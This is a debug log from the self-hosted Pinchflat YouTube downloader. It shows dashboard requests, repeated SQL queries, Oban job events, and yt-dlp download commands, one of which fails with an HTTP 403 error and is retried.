{"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:01:05.238 [info] GET / 19:01:05.238 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:01:05.238 [debug] QUERY OK source="settings" db=0.1ms idle=1456.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:05.239 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1456.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:01:05.239 [debug] QUERY OK source="sources" db=0.1ms idle=550.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:01:05.240 [debug] QUERY OK source="media_items" db=1.0ms idle=457.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:01:05.240 [debug] QUERY OK source="media_items" db=0.3ms idle=458.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:01:05.241 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:05.241 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:05.241 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:05.242 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:01:05.243 [debug] QUERY OK source="media_items" db=0.3ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:01:05.243 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:01:05.244 [debug] QUERY OK source="sources" db=0.2ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 19:01:05.246 [debug] QUERY OK source="media_items" db=1.3ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:01:05.247 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:01:05.248 [info] Sent 200 in 9ms 19:01:07.686 [info] GET / 19:01:07.687 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:01:07.687 [debug] QUERY OK source="settings" db=0.1ms idle=996.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:07.687 [debug] QUERY OK source="media_profiles" db=0.1ms idle=905.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:01:07.687 [debug] QUERY OK source="sources" db=0.1ms idle=905.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:01:07.688 [debug] QUERY OK source="media_items" db=0.3ms idle=905.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:01:07.688 [debug] QUERY OK source="media_items" db=0.3ms idle=906.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:01:07.689 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:07.689 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:07.689 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:07.690 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:01:07.691 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:01:07.692 [debug] QUERY OK source="media_items" db=1.0ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:01:07.692 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 19:01:07.694 [debug] QUERY OK source="media_items" db=0.6ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:01:07.695 [debug] QUERY OK source="media_items" db=0.8ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:01:07.695 [info] Sent 200 in 8ms 19:01:17.696 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:22.719 [info] {"args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"system_time":1787191282719298006,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:01:22.719 [debug] QUERY OK source="media_items" db=0.3ms idle=1937.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 19:01:22.720 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:01:22.720 [debug] QUERY OK source="sources" db=0.1ms idle=1937.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:01:22.721 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1009.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [482073] 19:01:22.721 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:01:22.722 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:22.722 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:22.722 [debug] Running yt-dlp command for action: get_downloadable_status 19:01:22.723 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:22.723 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:22.723 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:22.723 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c0/36/c036ed830c7332590b1b2ac8bdd768675b9625dbb91a113ea8c806f04d35083f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:01:25.221 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c0/36/c036ed830c7332590b1b2ac8bdd768675b9625dbb91a113ea8c806f04d35083f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:01:25.222 [debug] Running yt-dlp command for action: download 19:01:25.222 [debug] QUERY OK source="settings" db=0.1ms idle=1439.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:25.222 [debug] QUERY OK source="settings" db=0.0ms idle=1440.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:25.222 [debug] QUERY OK source="settings" db=0.2ms idle=1440.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:25.223 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ab/78/ab78aadfd4a1f6c815e9a56b0c989eacd761baaf5e232df1908653a912558fb9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:01:29.619 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ab/78/ab78aadfd4a1f6c815e9a56b0c989eacd761baaf5e232df1908653a912558fb9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: unable to download video data: HTTP Error 403: Forbidden 19:01:29.619 [error] yt-dlp download error for media item #482073: "ERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:01:29.620 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6900192,"event":"job:exception","queue_time":524598,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:01:47.698 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.159 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:02:01.776 [info] {"args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"system_time":1787191321776328618,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:02:01.776 [debug] QUERY OK source="media_items" db=0.1ms idle=994.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 19:02:01.776 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:02:01.777 [debug] QUERY OK source="sources" db=0.1ms idle=994.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:02:01.782 [debug] QUERY OK source="media_metadata" db=0.1ms idle=999.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [482073] 19:02:01.782 [debug] QUERY OK source="media_profiles" db=0.1ms idle=12.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:02:01.782 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:01.783 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:01.783 [debug] Running yt-dlp command for action: get_downloadable_status 19:02:01.783 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:01.784 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 